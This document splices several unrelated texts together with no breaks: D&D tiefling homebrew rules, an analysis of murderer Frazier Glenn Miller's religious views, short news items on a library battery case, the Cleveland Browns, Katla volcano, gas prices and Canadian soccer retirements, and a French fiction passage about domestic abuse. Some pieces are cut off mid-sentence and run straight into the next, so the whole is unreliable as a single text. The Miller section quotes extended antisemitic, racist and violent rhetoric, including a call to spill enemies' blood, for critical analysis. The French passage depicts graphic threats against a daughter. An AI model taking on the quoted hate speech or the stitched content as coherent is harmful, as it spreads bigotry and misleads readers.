Mephistopheles is the Cold Lord of Cania, the eight layer of hell. One of the most chaotic of the Lords of the Nine, The former magus of Asmodeus grants his tieflings a modicum of his powerful magic. Ability Score Increase. Your Intelligence score increases by 1. Chaotic Magic. You know two cantrips of your choice from the wizard spell list. Charisma is your spellcasting ability for it. Spells of Mephisto. You know the control flames cantrip. When you reach 3rd level, you can cast the burning hands spell once per day. When you reach 5th level, you can also cast the scorching ray spell once per day. Charisma is your spellcasting ability for these spells. Zariel Lord of Avernus, the first layer of hell, Zariel is a warrior. Her strength in battle empowers her tieflings to be strong and competent fighters. Ability Score Increase. Your Strength score increases by 1. Weapon Proficiency. You have proficiency with 2 martial weapons of your choice. Toughened Skin. Your base armor class is equal to 13 + your Dexterity modifier Hellfire Blade. Your bloodline crosses the art of battle and the flames of hell, granting you a special kind of attack. When you make a melee weapon attack on your turn, you can use a bonus action to enwreathe your blade with magical fire. This attack deals an additional 1d4 + your proficiency bonus fire damage. When you use this ability, you cannot use it again until you finish a short rest.
Detect Balance Scores I'm using this Detect Balance scale to balance this race. Base Tiefling Ability Point Value ASI + 2 8 Darkvision 60 3 One Common Resistance (Fire) 4 Common + 1 Languages 0 Total 15 Asmodeus Ability Point Value ASI + 1 4 Blackfire 8 Devil's Sight 6 Total 33 Blackfire: Dragonborn's breath weapon is worth 6 points. This deals half the damage, but can be used twice. Upped value to 8 to be safe. Devil's Sight: Superior darkvision (120ft.) is worth 4 points, and blindsight 30ft is worth 8, I'd wager this is more powerful than the darkvision, but is used more rarely than blindsight, and therefore is in-between, at 6. Baalzebul Ability Point Value ASI + 1 4 Dark Charm 10 Infernal Heart 1 Total 30 Dark Charm: This one is mostly a gut-feeling. There's nothing really like this ability in Detect Balance, but it requires a target to fail two saving throws, and is dependent upon the charm to continue to function. I've placed it higher than I think it really is at 10 points Infernal Heart: Fey ancestry is 2 points, and this is half of the effects of that (albeit the more useful half), so 1 point. Dispater Ability Point Value ASI + 1 4 Fiendish Movement 9 Total 28 Fiendish Movement: I consider this ability similar to flight, as it allows traversal of some roadblocks very easily. unrestricted flight with end-of-turn landing is 11 points. However, this ability does not provide any vertical advantages, So I would value it at less than unrestricted flight. final value is 9 Fierna Ability Point Value ASI + 1 4 Devil's Tongue 9 Infernal Speech (2 Skill Proficiencies) 4 Total 32 Devil's Tongue: This logic is a little wobbly, but here's my thinking: this ability is similar to a feature used by the bard's college of whispers (UA Bard). As a class feature, it should be close in value to an ASI +2, and in Detect Balance, an ASI +2 is 8 points. With this context in mind, this ability requires half the time, and resets on a short rest, but only lasts 10 minutes at its maximum, and therefore, I've valued it at 9 points. Glasya Ability Point Value ASI + 1 4 Shadow Shift 8 Grasp of Glasya (Cantrip) 2 Total 29 Shadow Shift: This ability is similar to Fiendish Movement from the Dispater subrace, but has its own advantages and disadvantages. The need for dim light or darkness makes this slightly more situational though. I've chosen 8 points for this. Levistus Ability Point Value ASI + 1 4 Devil's Bargain 15 Total 34 Devil's Bargain: Okay this one is weird. This ability feels more like a class feature or feat to me, but I believe it’s still sort of balanced for a racial ability. That said however, I'm not sure how to score this one. I'm going to veer way on the side of caution and say this is close to a weak feat. final value is 15 points. Mammon Ability Point Value ASI + 1 4 Devil's Greed 2 Master of Haggling (situational/common advantage) 3 Total 24 Devil's Greed: This ability is similar to mage hand, but more specific in its application. It can, however, pick up more than that cantrip. I give it the same score as a normal cantrip, which is 2.In April of 2014, white supremacist Frazier Glenn Miller, Jr., also known as Frazier Glenn Cross, shot and killed a boy, the boy’s grandfather, and a woman near a Kansas Jewish community center while shouting “Heil Hitler!” In a dark twist of fate, all three victims were white Christians. This week, Miller was convicted of capital murder. At his trial, he said he “wanted to kill Jews, not people,” and responded to the verdict with “Sieg Heil” and a Nazi salute.
Miller, who ran for several offices including U.S. House and Senate, has been described as “one of the pioneers in the modern hate world” and “a central figure of the white power movement.”
CNN has reported that Miller is a neo-pagan who also “self-identified as an atheist,” who uses anti-Christian rhetoric.
Here I take a deep dive into that characterization, and I will explain at the end why I think it’s worth the effort.
CNN Reports on Miller’s Religious Beliefs
On Monday, CNN reposted a story purporting to describe the influences that shaped Miller’s violent, racist life:
According to Cross’ 1999 autobiography, he is an adherent of Odinism, a neo-pagan religion that experts say has become one of the most vicious strains in the white supremacist movement. “I’d love to see North America’s 100 million Aryan Christians convert to the religion invented by their own race and practiced for a thousand generations before the Jews thought up Christianity,” he wrote, describing Odinism as “the religion for a strong heroic people.” In his autobiography, “A White Man Speaks Out,” Cross wrote that he had prayed to the Norse god Odin to spark a race war in the United States.
The story cites a more in-depth analysis of Miller’s religious views that CNN published titled “The Accused Kansas Killer’s Neo-Pagan Religion,” written by Daniel Burke, CNN’s Belief Blog co-editor:
Frazier Glenn Cross is a white supremacist, an avowed anti-Semite and an accused killer. But he is not, as many think, a Christian. … He also founded racist groups like a branch of the Ku Klux Klan and the White Patriot Party, according to the Southern Poverty Law Center. Both groups have deep ties to Christian white supremacists. But according to Cross’ 1999 biography, he is an adherent of Odinism, a neo-pagan religion that experts say has emerged as one the most vicious strains in the white supremacist movement. “The faith’s obsession with genetic purity, racial supremacy and conquering supposedly lesser peoples is a recipe for violence,” said Josh Glasstetter, campaign director for the Southern Poverty Law Center.
Burke based his characterization of Miller as an Odinist on these quotes from his 1999 autobiography, A White Man Speaks Out:
“I’d love to see North America’s 100 million Aryan Christians convert to the religion invented by their own race and practiced for a thousand generations before the Jews thought up Christianity. Odinism! This was the religion for a strong heroic people… And Valhalla does not accept Negroes. There’s a sign over the pearly gates there which reads, ‘Whites only.'” … “Christianity is the second biggest trick the Jews ever played on us,” he later writes. “The biggest was legalized abortion!”
The article implies that Miller retained from his Christian upbringing only a sentimental nostalgia limited to requesting that his funeral music include, along with the Nazi-favored “Flight of the Valkyries,” the Christian hymn “The Old Rugged Cross.” The rest of the article focuses on the dark side of Odinism:
An ancient Viking religion, Odinism resurfaced in northern Germany in the 19th century, where Nazis later appropriated its themes and gods. Odinist mythology “was a bedrock belief for key Third Reich leaders… [and] influenced the creation of the American Nazi Party, which was founded in 1959. Odinism has lately gained in popularity among white supremacists who believe that Jesus is too peaceful and too Jewish to worship, said [Jonathan] White [an expert on religious extremists]. “It’s hard to get a violent god out of Jesus.” The Southern Poverty Law Center warns of a Odinist network run out of a California prison, where Asatru, another neopagan religion with roots in Iceland, has also taken root.
Other outlets soon followed Burke’s lead, and Miller’s Wikipedia entry now lists him as an Odinist. Neo-pagans responded with outrage to the article’s original headline of “Frazier Glenn Cross’ Racist Religion: Odinism” and the fact that no neo-pagan was interviewed for the story. In response, a quote from a neo-pagan spokesperson distancing Odinism from white supremacy beliefs was added and the headline modified.
Burke talked also with David Embree, a university instructor who in 2012 had invited Miller to speak to his religious studies class as part of an examination of fringe beliefs:
[Embree] said that [Miller] presented himself as a traditional monotheist when he ran for Congress in 2008. But when he spoke at Embree’s classroom in 2012, his views had apparently changed, the professor said. “He essentially self-identified as an atheist,” Embree said. “The more overtly Christian groups in Southern Missouri have pretty much shunned him.”
The article fails to mention the salient fact that both of the experts quoted — Jonathan White and David Embree — are ordained Christian ministers. The “Miller self-identified as an atheist” claim has remained unquestioned, as far as I can tell, until now.
Religion in Miller’s 1999 Book A White Man Speaks Out
In his 1999 autobiography, Miller refers to Odin three times, but nowhere else either in later writings on his website or elsewhere that I’ve been able to locate. He criticizes Christians’ acceptance of biblical accounts of the Jews as a chosen people, Jesus’ perceived passivity, and modern Christians’ support for Israel. Yet throughout the book, there remains a reverence for God, prayer, the bible, and other Christian themes. In no way can Miller be construed as being anti-Christian or atheist.
First, the evidence from his book. In its introduction, he asks
If the Jews can have a Jewish state of their own, then why can’t we have a White Christian state of our own?
He warmly recalls the pivotal meeting that led to his joining his first racist group:
Ken Poole began the meeting with a prayer, followed by a one hour speech, filled with tirades against Jews, Blacks, and other non-Whites, and quoting Bible scriptures to back up his racial and political statements… they were very nice and decent Christian working people. No profanity or miniskirts here. … I really enjoyed my first White racist meeting. It was good to talk racist politics with people who shared my views… By the next meeting, I would have an official NSRP [National States Rights Party] uniform which consisted of dark trousers, white shirt, black tie, red shoulder tabs, and a three inch in diameter shoulder patch, bearing a red streak of lightening inside a red ringed circle.
Miller proudly includes the text of a 1984 gubernatorial stump speech he gave on the statehouse steps in Raleigh, North Carolina:
These critical problems are: race-mixing, abortions, homosexuality, venereal diseases, violent crime, organized crime, corrupt politicians, non-White immigration, child abuse, school integration, pornography, the drug epidemic among our young people, and the absence of prayer and the Holy Bible in our public schools. As the next governor of North Carolina, I will form a White Christian army of 100,000. This White Christian army will wear uniforms and they will be armed, And, they will come under my supervision, as governor of North Carolina. Our banner will be the glorious flag of the Confederacy — the Southern Battle Flag. anti-Christian scalawags will flee from our land.
In four different chapters, he bemoans the supposed removal of prayer and the bible out of public schools as he does here:
… the Jews still hate Christianity nonetheless because of it’s history and potential. Under Martin Luther’s Christianity and the historical Christianity of Catholicism, the Jews were recognized as the evil parasites they were, and treated accordingly… If belief in the divinity of Jesus Christ is a prerequisite for going to Heaven, then all dead Jews are burning in hell right now, because Jew’s have never believed in Christ. And that hand full of lying so-called Jews-for-Jesus will burn just as hot. It was the Jewish founded, financed, and led American Civil Liberties Union (ACLU) which brought about the removal of prayer and the bible from public schools. They put the Negroes in and took the bible out, at about the same time they legalized pornography and interracial marriages. … White Christians today represent the best of our Race and the best hope for our racial survival because, generally, they are sober, moral, physically healthy, and idealistic. The Jews too recognize this potential threat and attack Christianity non-stop with the vigor and determination of trained attack dogs.
Miller doesn’t say “white Odinists” are the best. He says “white Christians” are.
Religion in Miller’s Other Writings
Just how big an influence was Christian mythology on Glenn Miller? Judge for yourself. Here are excerpts from his 1987 “Declaration of War”:
… White Patriots are now honor bound and duty bound to pick up the sword and do battle against the forces of evil. In the name of our Aryan God, thru His beloved Son, I Glenn Miller now this 6th day of April, 1987 do hereby declare total war… I declare war against [racial slur], Jews, Queers, assorted Mongrels, White Race traitors, and despicable informants… We will cleanse the land of evil, corruption, and mongrels. And, we will build a glorious future and a nation in which all our People can scream proudly, and honestly, “This is our Land. This is our People. This is our God, and this we will defend.” … Go now, you sons of Odin, you sons of our courageous Viking fathers, and of our Confederate kin. Go, now and smite your enemies. Our God, Yahwey who created us will be with you always. Pray to him each day, and He will guide and protect you… Yahwey will fill your hearts with courage and strength and confidence. Become warriors. Let the blood of our enemies flood the streets, rivers and fields of the nation, in Holy vengeance and justice… The Jews are our main and most formidable enemies, brothers and sisters. They are truly |
at the North Central College Library. He was arrested on May 4 of 2016 by Warrenville police and remained in custody at the DuPage County Jail since then.
“Any unwanted touching is a criminal offense, period,” DuPage County State’s Attorney Robert B. Berlin said in a statement. “When out in public, people expect and are entitled to go about their business, free from unwanted touching or advances from others. If someone crosses that line, there will be consequences, as Mr. Carlton learned today.”
The state's attorney's office said it had no further information to provide regarding Carlton's sentencing or arrest.
Warrenville police said they had not further details regarding Carlton's arrest and the second incident at North Central College Library fell under the Naperville Police Department's jurisdiction.
Naperville police Cmdr. Lou Cammiso said Carlton was arrested on a battery charge after an incident on Oct. 8, 2015, after he rubbed his bare feet across a woman's feet who was wearing flip-flops at the North Central College Library.
Carlton is required to serve 50 percent of his sentence before being eligible for parole.BEREA, Ohio -- Corey Coleman was so distraught on the sidelines after his drop in the end zone in Cincinnati, he had to be consoled by Josh Gordon and DeShone Kizer.
"I have to make that play,'' Coleman said Wednesday. "If you saw me on the sideline, it tore me down 'cause you don't get that many opportunities to make plays like that. So when that happens, you've got to make it count."
Coleman, who dropped a perfectly-thrown 29-yard post route in the end zone from Kizer when he was double-covered, said it still eats at him.
"It's not acceptable at all. I take full responsibility for it," he said. "DeShone threw a great ball. I couldn't ask for a better ball than that. I've got to make that play. Even the greats drop balls. It's not an excuse.''
The Browns, who lost 30-16, were trailing 23-6 in the third quarter, and Kizer had marched the Browns from their 20 to the Bengals' 29, where Shon Coleman was flagged for his second holding call to put the Browns in second and 20.
Kizer fired the pass between cornerback Dre Kirkpatrick and safety Josh Shaw and right to Coleman. But the ball dribbled right through his hands.
"I just knew it was a touchdown,'' said Coleman, who was in his second game back from a broken hand. "As soon as I came off the [snap], I saw how the safety was playing. I got super excited."
On the sidelines, Coleman had to compose himself.
"I was so shook and shocked about that, because it's not me,'' he said. "And it's just like when anyone does something out of the norm, you're going to be like, 'oh, man, did I really just do that? Did that just happen?'''
Gordon, his fellow former Baylor Bear, rushed to his side.
"When I was down, he was keeping me up, saying positive stuff,'' said Coleman. "You can just tell how much he has grown."
The Browns' 2016 first-round pick, Coleman immediately apologized to Kizer, who's thrown only five TD passes, three to wide receivers.
"I take full responsibility for it. I own up to it,'' said Coleman. "I've got to make that play for me, for the team, for my teammates, for guys who trust in me and for my fans. I told him, 'I'm sorry. I apologize. Keep your head up. You keep on doing you. You're having a great game. I'm going to make that play for you.'"
Coleman acknowledged that "every catch in the NFL is going to be a tough catch. It's the NFL for you, but I've got to make that play."
Hue Jackson's advice was "go catch the next one.... He gets it. You have to make that play, but he is going to get an opportunity to do it again. When it comes, he has to make that play."
However, "he has to let it go, too. The competitive side, I'm glad that he understands how important it was, but there are going to be more. It would be different if he wasn't going to have any more opportunities to do that.''
Coleman has yet to live up to expectations after missing six games as a rookie last season with a broken hand and eight games this season. He caught only 33 passes for 413 yards and three TDs in 10 games in 2016, and has only 15 catches for 206 yards and a TD this year.
His next chance is Sunday in Los Angeles against the Chargers, where he'll be joined on the field for the first time by Gordon.
"I hope (it means) bringing the team a win,'' he said. "A spark with me and him both being out there, creating plays, catching the ball and getting open. It's going to be hard to double-team one guy, so we'll go out there and see on Sunday.''Considerable seismic activity has continued under Mýrdalsjökull glacier today, after strong quakes – the strongest in decades – in the early hours of this morning.
Following tremors of magnitude 4.5 and 4.6 earlier today, the South Iceland glacier – which covers the mighty Katla volcano – saw another significant quake, of magnitude 3.3, just after 3pm this afternoon, local time, according to Iceland national broadcaster RÚV (link in Icelandic).
“It is not a question of whether Katla will erupt, but when,” warns Kristín Jónsdóttir, Earthquake Hazards Coordinator at the Icelandic Met Office.
“We mustn’t forget that Katla is a very active volcano. Looking back, there have been sixteen known eruptions since Iceland was settled,” she said, speaking on Icelandic radio today.
It last erupted in 1918 – making the current gap the longest since the first settlers first came to the country at the end of the ninth century.
According to Jónsdóttir, Katla will be monitored very closely. All measuring equipment is currently being checked to ensure it is working correctly and new measuring stations are being established.
Jónsdóttir’s colleague at the IMO, geophysicist Gunnar B. Guðmundsson, has indicated that despite the increased seismic there are as yet no signs of magma movements.If Supplies Of Oil Are Up, Why Is Gas Still Pricey?
Enlarge this image toggle caption Doug Engle/Ocala Star-Banner / Landov Doug Engle/Ocala Star-Banner / Landov
Supplies of oil have been surging this year, and U.S. drivers, who have been switching to more fuel-efficient cars, are using less gasoline.
That would seem to be the right economic combination to push down prices at the pump, but gasoline prices have remained stubbornly high this summer.
Even some people in the industry are wondering whether the law of supply and demand somehow has been repealed.
"I'm actually quite dumbfounded," says Azam Zakaria, vice president of Lone Star Petroleum, a family owned company that owns and operates 15 gas stations in the Houston area.
Zakaria, who has been in the business for nearly three decades, used to believe that more oil would mean lower prices, but he hasn't been seeing that lately.
The disconnect between supply and demand seemed to get even wider Wednesday, when the U.S. Energy Information Administration released its latest data, showing that U.S. crude oil inventories rose by 0.3 million barrels last week. Most experts had been expecting the oil inventory to decline by 0.6 million barrels.
That sort of surprise keeps happening as more and more domestic oil gets pumped. In fact last year, the United States saw the largest-ever yearly rise in oil production, according to a statistical review released last week by BP, the global oil giant.
At the same time, global oil reserves continue to grow, the BP report says.
The price of crude oil, however, continues to hover around $100 a barrel, and an average gallon of regular gasoline is still running above $3.62 nationwide. At the start of this year, the price was about $3.20 a gallon.
Zakaria worries that speculators are pushing up prices beyond what the usual balance of supply and demand would dictate. "Just to be blunt with you, I think that it's a commodity now that is being exchanged at Wall Street," he says.
Industry experts generally cite unrest in the Middle East as a key reason why oil prices remain at relatively high levels. Violence in that region could disrupt production or transport, and that makes a lot of people want to buy oil now and stockpile it.
Jim Burkhard, vice president of oil market research at IHS CERA, says he's surprised prices aren't even worse given the spreading violence from Syria's civil war.
"If you look at the turbulence in the Middle East and look at the oil price, you could wonder, 'Gee, why aren't oil prices higher?' " Burkhard says. "One very important reason why that's the case is this very strong growth in production from the United States."
But a lot of that additional domestic fuel is being turned into diesel fuel to support global trucking fleets. Matt Piotrowski, Washington bureau chief for Energy Intelligence, looks at it from the point of view of the refiners.
"If the margins are better for diesel, both inside the U.S. and also outside [refineries are] going to want to maximize their output of diesel instead of gasoline," Pietrowski said.
So this summer, U.S. drivers are faced with these realities: They're driving more fuel-efficient cars, and their country produces a lot more oil. That helps hold down gas prices. But in a world thirsty for oil — and still so dependent on producers in the turbulent Middle East — it's hard to restrain prices at the pump.From Neil Davidson, Joshua Clipperton, and L Armstrong
In the wake of winning bronze at the Rio Olympics, All three retiring Canada players Melissa Tancredi. Marie-Eve Nault and Rhian Wilkinson t played their final game before 22,508 fans at BC Place. All three are now prepared for life and new challenges after International soccer.
For an encore, Rhian Wilkinson ran a marathon and crewed a 35 foot yacht in the Mediterranean. earlier, after the 2015 Women’s World Cup, she had walked part of the famed Camino de Santiago trail in Spain with her mother.
The 34-year-old fullback said goodbye last Saturday 4th February 2017, to her international soccer playing career. She leaves with her 181st appearance for Canada, but she will probably never stop challenging herself. Rather than spending her post-Olympic holiday on a beach, Wilkinson ran the Montreal marathon. “Just wanted to get that out the way,” she said breezily. “Check it off the bucket list.”
There was a little more to it than that, however. “Often, when I do public speaking engagements I talk to people about living in uncomfortable spaces and the need for to push boundaries. I hadn’t done that for a while,” said Wilkinson, only talked about running events. She ran her first marathon 10 years ago.
“At the end of my soccer career, I personally, wasn’t pushing any boundaries.Then, I was given the chance to run the marathon. Why sign up for a 10K if I’m telling other people to push oundaries? So I went for it. I jumped in.”
Next came the opportunity to help crew a 50-foot yacht for nine days, with nine Germans, The yacht had to be sailed from Majorca to Malaga, Spain. That boat sounds large and impressive “until you have nine other people in there. It was pretty tight,” she said dryly.
Wilkinson, a native of Baie-D’Urfé, who presently calls North Vancouver home, saw the sailing as an adventure. “I’ve never set foot on a sailing boat before. In port I was fine, but once we reached waves, I was violently ill,” she said with a laugh. “But now I’ve done had the sailing experience, and I might try it again.”
I hope to continue life’s challenges, but my time playing international soccer is over. And, the three of us that are retiring have left a good legacy. Last Saturday’s event was about the team’s bright future, not about reflection. The last two Olympic Games have offered encouraging signs for Canada’s soccer women, who hope to reach unprecedented success in Tokyo 2020.
“Our careers have spanned a unique time in women’s sport,” Rhian says. “We played alongside the women who pioneered the game, and now we are recent teammates of women who are going to take Canada soccer to another level.”
For long-time national team forward Melissa Tancredi, the decision to retire from a long and rewarding soccer career was easy. The tough part was simply the timing of the official retirement. “I knew it was my time, it was just the exact time I was unsure of. My body is okay; it’s just my mind—my mind is ready. It’s fatigued and I have been through plenty with this career. I have two bronze medals, two great Olympics, and why not go out on that?”
“I hope it’s not going to be emotional,” Tancredi, 35, said before breaking out into laughter and adding, “It’s going to be emotional.” Many of the players are steeling themselves for an emotional afternoon. Veteran midfielder Diana Matheson said it was a matter of “putting it in the back of our minds, lest everyone becomes overwhelmed by the finality of the departures.
“The pinnacle of my career, I believed, was becoming an Olympian in Beijing,” said Wilkinson, 34, whose appearance on Saturday will mark her 181st international caps for the Reds. The concept of winning a medal was unfathomable to me.”
Nault, too, said the experience in London was career-defining. As an alternate in 2012, the defender ended up seeing 361 minutes’ worth of action as a result of injuries, and her journey, from alternate to starter, was one of the best storylines of the tournament. “We’d had such a roller coaster of emotion, playing that game against the U.S., and then were so tired, but we were able to dig deep to win that bronze medal, for ourselves and for Canada,” she explained. “That was definitely the best moment of my career.”
“Because I wasn’t due to play at the Olympics, I had kind of moved on,” she said. The native of Trois-Rivières, Quebec, was an alternate in Rio and played her last club match, with KIF Örebro in Sweden, in November.
“I was just going to come and enjoy the game and just being here with the team,” she said. “But then I guess things change and plans change.
According to Tancredi, who has 124 appearances and 27 goals the team itself has evolved over the years: the expectations amongst the group are now much higher. The team is now ranked fourth in the world, and the goal is to reach the No. 1 spot—something Matheson admits “wasn’t even on our radar in past years.” “We work for each other. We’ve always worked for each other,” Tancredi said. “But now it’s demanding more, and the consistency. That’s the mindset we’ve changed.”
While Tancredi, Wilkinson and Nault are marking the end of their playing careers, they won’t be leaving the game behind entirely. Tancredi, who works as a chiropractor in Vancouver, hopes to join the national team staff, while Wilkinson is pursuing a career in coaching. Nault’s ties to the game will be less formal, though she’s already started coaching young girls back home. The hope of leaving a legacy, she said, was always about making an impact on would-be players.
“These three women mean everything; they have given everything,” Canadian head coach John Herdman said of Tancredi, Wilkinson and Nault. “Their whole adult life has been spent with this team. They don’t know anything different … and you only have to go into our locker-room to start to realize what they mean to each other.
“Each one of them has got something in their identity that Canadians can relate to, whether it’s the grit of Tancredi, the altruism of Marie-Eve or just that ‘true north’ value of Rhian.”
All three players were joined by family members on the pitch for a ceremony following the game, with Tancredi’s grandparents surprising her after flying in from Ontario.
The 35-year-old Tancredi, a powerful striker who scored 27 goals in 125 appearances, started on the bench before coming on as substitute in the 76th minute with Canada clinging to a 3-2 lead.
A member of the national team since 2004, Tancredi scored twice in Canada’s famous 2-1 victory over Germany in Brazil, the country’s first-ever win against the European powerhouse. “It’s a bit overwhelming,” said Tancredi, who had tears in her eyes after Saturday’s game. “It was going to be an emotional day.”
A standout defender throughout her career, Wilkinson also started the game on the bench, but came on in the 57th minute to win her 181st cap. The 34-year-old made her debut for Canada in 2003.
Nault, meanwhile, started against Mexico for her 71st appearance. The 34-year-old was an integral part at the 2012 Olympics after two defenders ahead of her on the depth chart were felled by injuries.
“We talked today about some of the things those women have stood for, and these things can’t leave our team,” said Herdman. “Someone in that room has to be ready to take on the sort of responsibility or we won’t see a podium again. It doesn’t matter how good the players are, how technically gifted they are if they don’t have that spirit, that heart, if they don’t have the values and attitude that these women have, this team goes nowhere. This team has been built on their foundations.”
For Wilkinson, it wasn’t a decision at all. The 34-year-old defender, who has made 180 appearances for her country since 2003, planned to retire in 2012, but decided she couldn’t give up the opportunity to continue playing again for coach John Herdman.
“I call it a gift,” Wilkinson said about that final quadrennial. “(Herdman) gave me a four-year gift of being able to work under him and with this team. They were some of the best years of my career.” They led to a second consecutive Olympic bronze medal last summer, an accomplishment that will be celebrated alongside the retirements during a friendly match with
.All three are consistent on one thing: Their careers, which spanned the most successful period this country has seen, came at the most interesting time imaginable for the women’s game, both in Canada and abroad.
“When I joined, women were paid to play,” Wilkinson said. “Most Canadian players were completely unknown. Former Canadian striker (Charmaine Hooper) was as good a player as Mia Hamm and the Americans on that team, but I hadn’t heard of her until I made the national team.”
Fast forward a dozen years, when England knocked Canada out of the Women’s World Cup, The game was played before 54,000 fans at BC Place. In this last friendly against Mexico, more than 22,000 people are expected."JE VAIS LA MASSACRER. JE VAIS LA DÉFIGURER."
Laurence est figée devant le SMS, elle n'arrive pas à penser, elle sent la sueur qui lui inonde le dos, elle n'a qu'un mot en tête pour l'instant, écrit avec des pierres et qui écrase tous les autres : elle a peur. Elle est terrorisée.
Le problème est qu'elle le connaît, Igor, oh oui, elle ne le connaît que trop, après ces vingt ans, et après l'accélération qu'elle a constatée toute cette année, surtout ces derniers mois : ce n'est pas une menace en l'air. Il est en rage, à nouveau. Il va le faire. Il va s'en prendre à Nathalie, il va lui faire du mal...
Elle panique, regarde autour d'elle, ne sait pas quoi faire. Prévenir Nathalie, et sa sœur, oui, mais comment? Et de toute façon, quoi, après? Les trois femmes n'ont qu'un endroit où aller, leur maison, le "foyer conjugal". Où Igor les attend, comme tous les jours, probablement déjà armé de sa rallonge électrique habituelle, celle qu'il tient, pliée en deux, pour la fouetter, elle, son épouse adorée, lorsqu'il en ressent le besoin.
Parfois, un peu plus rarement, il s'en prend à leurs filles, de la même façon, et de bien d'autres encore, c'est dans ces cas-là qu'elle souffre vraiment ; elle essaye souvent de s'interposer, il l'annihile alors d'un coup de poing, retournant sa folie furieuse contre elle, cette salope qui passe sa vie à le tromper – mais elle n'a pas mal, elle a détourné la colère de Dieu sur elle-même, à l'intérieur elle jubile qu'il soit assez con pour ne pas s'en apercevoir, même le sang qui lui coule du nez a une odeur de petite victoire, ces fois-là...
Mais aujourd'hui, c'est différent, elle le sent, elle le sait. Les scènes ont été crescendo ces derniers mois, jusqu'à devenir journalières, et de plus en plus violentes. Et là, il est tombé sur la preuve, selon lui et dans son système de valeurs tyrannique, de ce que l'une des filles, Nathalie, avait enfreint une règle, l'avait, elle aussi, trahi : sur le compte-rendu de la partie professionnelle de sa scolarité, il y avait deux jours de congés, dont, évidemment, il n'a pas été informé à l'époque – alors que, bordel de merde, il doit TOUT savoir, on ne doit JAMAIS lui mentir.
Et comme on a menti, non seulement on a en soi commis un péché mortel, mais en plus, c'est obligé, cette sale pute de Nathalie a forcément fait quelque chose d'interdit pendant ces deux jours d'absence, mais quoi? Hein, QUOI? Elle est sortie en boîte? Elle a flirté avec un mec? Avec plusieurs? Allez, saloperie, tu es leur mère, tu es leur complice, dis-le, qu'est-ce que ta PUTE de fille A FAIT???
Ça, c'était le premier appel téléphonique, en tout début d'après-midi. Elle a raccroché, elle est au bureau, personne ne doit savoir. Il a rappelé, peut-être vingt ou trente fois, elle sentait le vibreur dans sa poche, elle a tenu bon, et a fait semblant de bosser jusque maintenant, seize heures, malgré ses maux de ventre qui la reprenaient – en fait, elle cherchait une explication à donner, une excuse admissible aux yeux de l'autre malade, tout en sachant qu'aucune ne le serait jamais.
Monsieur Pourol est passé, lui parlant d'un rapport de ventes reçu la veille, et des options à définir, avec son habituelle amabilité, un peu surannée. Elle a souri, comme d'habitude, ne s'est pas plus confiée qu'elle ne l'a jamais fait jusque là. Quand même, elle ne devait pas être en grande forme, parce qu'il lui a demandé si tout allait bien, lui indiquant qu'elle semblait un peu fébrile et était "toute pâlotte" ; elle l'a rassuré. Que répondre d'autre, surtout ici, dans cette société où elle travaillait déjà lorsqu'elle a rencontré Igor, vingt ans plus tôt, simple secrétaire à l'époque, au premier échelon, celle de Monsieur Pourol justement, qui l'a aidée par la suite, niveau par niveau, voyant le travail qu'elle fournissait, prenant acte de ses formations du soir, jusqu'à ce qu'elle parvienne à son poste d'aujourd'hui, cadre dit supérieur, responsable de toutes les ventes en Amérique du Sud, salaire à l'avenant – il avait bien fallu, quatre bouches à nourrir, sur ses seuls revenus à elle.
Elle adorait cette boîte, qui lui avait donné sa chance, et où elle était respectée pour ce qu'elle valait ; personne, jamais, même parmi les quelques amies proches qu'elle s'y était faites, n'avait entendu parler de l'Enfer qu'elle vivait chez elle, impossible – et dangereux.
Les marques qu'elle portait parfois y étaient savamment maquillées, et, quand elles se voyaient quand même, elle leur donnait toujours un motif plausible, à commencer par sa prétendue grande maladresse. Ses maux de ventres, autrefois rares, mais plus fréquents ces derniers temps, avaient attiré, eux, l'attention de ses collègues et de sa hiérarchie, Pourol, le Chef des Ventes, son mentor, en tête – elle ne pouvait pas les cacher tous, certains la pliaient en deux sans crier gare. Elle avait décidé de foncer aux toilettes, dans ces cas-là, et de prétendre à des gastros à répétition, une petite fragilité de ce côté-là, en cours de traitement. Dans ces moments-là, elle restait assise, habillée, sur la cuvette, attendant dans le noir que les douleurs s'estompent, puisque consulter un médecin revenait forcément à dire des choses, ce qui était inconcevable, et riant jaune en pensant aux blagues que ses collègues devaient échanger entre eux...
Après les appels qu'elle ignorait, le vibreur du téléphone, dans sa poche, avait finalement changé de fréquence : des SMS, trois coup sur coup, lui toujours, elle le savait – peu d'autres personnes avaient d'ailleurs son numéro. Elle avait hésité, regardé si personne n'approchait plus, puis avait jeté un œil. Très vite glacée. Igor, 15 h 50 : "Tu ne réponds pas? OK, je vous attends. Les Trois. On va discuter..." Igor, 15 h 56 : "TU AS TORT. JE VAIS LUI ARRACHER SON CLITO!".
Et le dernier, à l'instant. Panique croissante, puis absolue, maintenant.
Ses pensées s'entrechoquent, mais ça se réordonne un tout petit peu quand même, à présent, elle est, comme depuis leurs naissances, tendue vers un seul but : protéger les filles, vaille que vaille... Et en même temps, comme depuis si longtemps, elle est à moitié paralysée par la peur : à part se mettre entre elles et lui, elle n'a jamais utilisé aucun autre moyen, n'a jamais parlé de rien à personne - et là, elle le sait, elle n'a pas cette possibilité. Non seulement il lui faudrait mentir pour pouvoir partir immédiatement, mais de toute façon les cours des filles seront bientôt terminés, et elles vont, comme tous les jours, foncer prendre leur bus, sans un salut à personne, sans pouvoir dilapider une seconde : leur père connaît les horaires par cœur, il a depuis longtemps chronométré leur trajet, et tout retard, fût-il de trois minutes, générerait une scène épouvantable, nécessiterait des heures d'explications et de promesses, non, les filles n'ont parlé à personne, non, elles ne traînaient avec aucun garçon, non, elles n'ont pas été subrepticement dans un magasin quelconque de fringues ou de maquillage, elles étaient juste un peu fatiguées, juste un peu plus lentes, non, elles ne recommenceront pas, c'est promis, papa...
Et elle travaille trop loin, elle ne sera pas à temps à la sortie de leurs cours - seize heures quinze aujourd'hui.
